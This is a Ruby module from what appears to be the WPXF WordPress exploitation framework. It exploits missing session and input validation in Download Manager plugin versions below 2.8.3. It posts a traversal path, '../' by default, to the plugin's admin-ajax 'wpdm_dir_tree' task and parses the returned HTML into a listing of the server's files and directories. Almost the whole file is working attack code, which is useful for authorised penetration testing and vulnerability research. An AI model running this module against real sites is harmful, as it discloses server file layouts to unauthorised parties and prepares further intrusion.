lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb
# frozen_string_literal: true
require 'erb'
require 'nokogiri'
class Wpxf::Auxiliary::DownloadManagerDirectoryListingDisclosure < Wpxf::Module
include Wpxf
include ERB::Util
def initialize
super
update_info(
name: 'Download Manager Directory Listing Disclosure',
desc: %(
This module uses a lack of session and input validation in
versions < 2.8.3 of the Download Manager plugin to get
the directory listing of the specified directory.
),
author: [
'James Golovich', # Disclosure
'rastating' # WPXF module
],
references: [
['WPVDB', '8365'],
['URL', 'http://www.pritect.net/blog/wordpress-download-manager-2-8-8-critical-security-vulnerabilities']
],
date: 'Jan 19 2016'
)
register_options([
StringOption.new(
name: 'remote_path',
desc: 'The relative or absolute path to view the contents of',
required: true,
default: '../'
)
])
end
def check
check_plugin_version_from_readme('download-manager', '2.8.3')
end
def remote_path
if datastore['remote_path'].end_with? '/'
datastore['remote_path']
else
"#{datastore['remote_path']}/"
end
end
def encoded_remote_path
url_encode(remote_path)
end
def run
return false unless super
listing = [{
name: 'Name', type: 'Type'
}]
emit_info 'Requesting directory listing...'
res = execute_post_request(
url: wordpress_url_admin_ajax,
params: {
'action' => 'wpdm_init',
'task' => 'wpdm_dir_tree'
},
body: {
'dir' => encoded_remote_path
}
)
if res.nil?
emit_error 'No response from the target'
return false
end
if res.code != 200
emit_error "Server responded with code #{res.code}"
return false
end
emit_info 'Parsing response...'
begin
doc = Nokogiri::HTML(res.body)
items = doc.xpath("//ul//li")
items.each do |item|
if item['class'] =~ /directory/
listing.push(name: item.at('a').text, type: 'Directory')
else
listing.push(name: item.at('a').text, type: 'File')
end
end
rescue StandardError => e
emit_error "Could not parse the response: #{e}"
return false
end
emit_table listing
true
end
end